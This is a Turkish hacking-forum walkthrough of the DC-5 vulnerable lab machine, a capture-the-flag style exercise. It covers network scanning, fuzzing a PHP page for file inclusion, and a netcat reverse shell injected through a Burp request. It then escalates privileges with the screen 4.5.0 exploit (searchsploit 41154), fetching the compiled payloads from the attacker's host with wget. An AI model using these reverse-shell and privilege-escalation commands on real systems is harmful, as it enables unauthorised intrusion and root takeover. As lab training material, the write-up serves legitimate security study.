DC-5 Zafiyetli Makine Çözümü // Qwx

Qwx

Kıdemli Üye
30 Nis 2012
2,728
13
DC-5 Zafiyetli Makine Çözümü

Merhaba, değerli TürkHackTeam üyeleri bu konumuzda DC-5 adlı zafiyetli makinenin çözümünü yapacağız. Bir önceki zafiyetli makine çözümüm olan DC-2 konusuna ilgili linkten gidebilirsiniz; TIKLA


DC-5

İsim: DC-5
Çıkış Tarihi: 21 Nisan 2019
Yazar: DCAU
Seri: DC
Açıklama: ..."bildiğim kadarıyla, içeri girmek için sadece bir sömürü giriş noktası var (SSH'de yok). Bu belirli giriş noktasını tanımlamak olukça zor olabilir ama o orada. Sıra dışı bir şey aramanız gerekmektedir (sayfa yenileme ile değişen bir şey). Bu, güvenlik açığının neler içerebileceği konusunda bir fikir sağlayacaktır"...
Dosya boyutu: 521MB
İşletim sistemi: Debian GNU/Linux


İlk olarak indirmiş olduğumuz makinemizi açıyoruz. Makinemizi açtık, makinemizin giriş kısmının görünümü bu şekildedir.

giris.jpg


Zafiyetli makinemizin IP adresini öğrenmek için netdiscover komutunu kullanıyoruz.

netdiscover.jpg


Makineminizin IP adresini öğrendikten sonra açık olan portları bulmak için Nmap taraması yapacağız. nmap -sS -sV <ipadress>

nmap.jpg




Nmap sonuçlarını incelediğimizde 80 numaralı portumuzun açık olduğunu görmekteyiz. Bu durumda da ilgili makinenn erişebileceğimiz bir web sayfası bulunmaktadır. Ardından kontrol ediyoruz. Karşımıza bu şekilde bir web sayfası çıkmaktadır.

website.jpg


Makinenin bizlere sunmuş olduğu web sitede biraz tur attıktan sonra Contact kısmında Submit butonuna tıkladığımızda sitenin footer bölümündeki Copyright :copyright: 2019 yazında birer birer bir azalma söz konusu olmaktadır. Bu durumda yazarın bizlere açıklama bölümünde bırakmış olduğu bir ipucunu hatırlatmaktadır.

cont1.jpg


Submit butonuna basıktan sonra yönlendirildiğimiz sayfa;

cont2.jpg


Ardından bu yönlendirme sayesinde diğer hangi uzantılara ulaşabileceğimiz Wfuzz adlı araç ile kontrol ediyoruz. Detaylı olarak Fuzzing işlemini anlattığım ilgili konuya bakabilirsiniz; Fuzzing (Fuzz Testing) Nedir ?
Terminalimizi açtıktan sonra wfuzz -w <wodlistkonumunuz>wfuzz/wordlist/Injections/LFI.txt http://<ipadresi>/thankyou.php?FUZZ=FUZZ komutunu giriyoruz ve çıkan sonuçları inceliyoruz.

wfuzz.jpg


Tarama sonucunda tüm isteklerin durum kodlarının 200 döndüğünü görmekteyiz bu da demek oluyor ki erişimi sağlayabiliyoruz.

access.jpg


Şimdi makineye girmek için bu yolda bir reverse shell in bash uygulamamız gerekmektedir. İlk olarak 4444 portumuzu dinlemeye alıyoruz. Bunun için terminalimizi açıp nc -lnvp 4444 komutunu giriyoruz.

lnvp4444.jpg


Ardından Burp Suite'de &cmd=nc+-e+/bin/bash+<ipadresiniz>+4444 olarak bir istek yolluyoruz.

burp.jpg


İstek yolladıktan sonra dinleme ekranımıza baktığımızda bağlantının sağlandığını görmekteyiz.

dinlemeek.jpg


Ardından python -c 'import pty;pty.spawn("/bin/bash")' komutunu yazıyoruz.

pty.jpg


Makinenin içerisinde arama özelliğini kullanıyoruz. find / -perm -4000 -type f 2>/dev/null

arama.jpg


Arama sonrasında çıkan sonuçlarda /bin/screen-4.5.0 dikkatimizi çekmektedir. Kendi sistemimizde bu exploiti arama işlemine başlıyoruz. Bunun için ilk olarak screen 4.5.0 arama işlemini gerçekleştiriyoruz.

450.jpg


İlgili işlem için kodumuzu searchsploit screen 4.5.0 olarak yazıyoruz. Ardından çıkan sonuçlardan seçimimizi gerçekleştirip ikinci kodumuzu yazıyoruz searchsploit -m 41154 kodumuzu yazdıktan sonra otomatik olarak root dizinine ilgili kodu kopyalamaktadır.

sss.jpg


Root dizimine kopyalanmış olan 41154.sh'yi cat 41154.sh komutu ile açıyoruz ve ilgili düzenlemeleri gerçekleştireceğiz.

cat41154.jpg


Bunun için ilgili yönergeleri takip etmek yeterli olacaktır. Sırasıyla libhax.c , rootshell.c ve son olarak da 41154.sh olarak kayıt yapmanız gerekmektedir.

toplam.jpg


Tüm işlemleri yaptıktan sonra libhax.c ve rootshell.c'yi derlememiz gerekmektedir. Derleme işlemini gerçekleştirmek için ilgili kodlarımız gcc -fPIC -shared -ldl -o libhax.so libhax.c ve gcc -o rootshell rootshell.c olacaktır.

derleme.jpg


Bütün dosyalarımızı hazırladıktan sonra yapılacak tek şey dosyalarımızı sisteme yüklemek olacaktır. /tmp dizinine yükleme işlemini gerçekleştirmek için zafiyetli makinemizde cd /tmp komutu ile dizin değiştirme işlemini yapıyoruz. Ardından yükleme işlemini gerçekleştiriyoruz.
Yükleme işlemi için ilgili komutlarımız ise
wget http://<ipadresiniz>:8000/41154.sh
wget http://<ipadresiniz>:8000/rootshell
wget http://<ipadresiniz>:8000/libhax.so


yukleme.jpg


Yükleme işlemlerimizi tamamladıktan sonra ise 41154.sh'yi çalıştırdıktan sonra root kullanıcısına yükselmiş olacağız ardından ise flagı okuyabiliriz. chmod +x 41154.sh komutu ile yetkilendirme işlemini gerçekleştiriyoruz. ./41154.sh komutu ile çalıştırıyoruz ardından direkt olarak root kullanıcısına yükselmiş oluyoruz ardından yapmamız gereken sadece /root dizinine gittikten sonra cat thisistheflag.txt komutu ile flagımızı okumak olacaktır.

.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.